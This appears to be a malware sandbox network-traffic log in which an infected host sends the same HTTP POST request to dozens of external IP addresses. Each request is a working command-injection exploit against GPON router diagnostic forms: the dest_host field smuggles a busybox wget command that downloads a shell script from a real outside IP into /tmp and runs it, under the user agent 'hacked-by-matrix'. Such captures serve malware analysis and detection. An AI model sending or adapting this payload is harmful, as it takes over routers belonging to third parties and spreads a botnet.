Mar 21, 2024 05:23:18.750252962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.13	55148	212.180.25.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750263929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.13	50020	5.33.164.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750263929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.13	54314	212.112.108.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750279903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.13	51534	212.188.210.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750302076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.13	43336	5.187.73.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750348091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.13	34412	109.239.137.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750354052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.13	35516	212.48.217.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750356913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.13	55948	42.42.151.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750364065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.13	38296	5.62.126.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750364065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.13	39408	42.230.182.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750391960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.13	36740	118.54.46.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750391960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.13	38600	212.64.170.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750408888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.13	44878	118.183.58.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750444889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.13	45200	118.96.231.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750467062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.13	48542	5.197.122.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750487089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.13	47886	42.32.167.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750492096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.13	48142	212.190.56.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750510931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.13	38562	109.123.159.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750515938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.13	44340	109.64.71.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750533104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.13	59794	118.162.35.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750545979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.13	59824	42.221.223.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750557899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.13	40924	42.63.127.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750572920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.13	49240	5.43.169.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750572920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.13	53858	109.0.151.111	443

Timestamp	Bytes transferred	Direction	Data
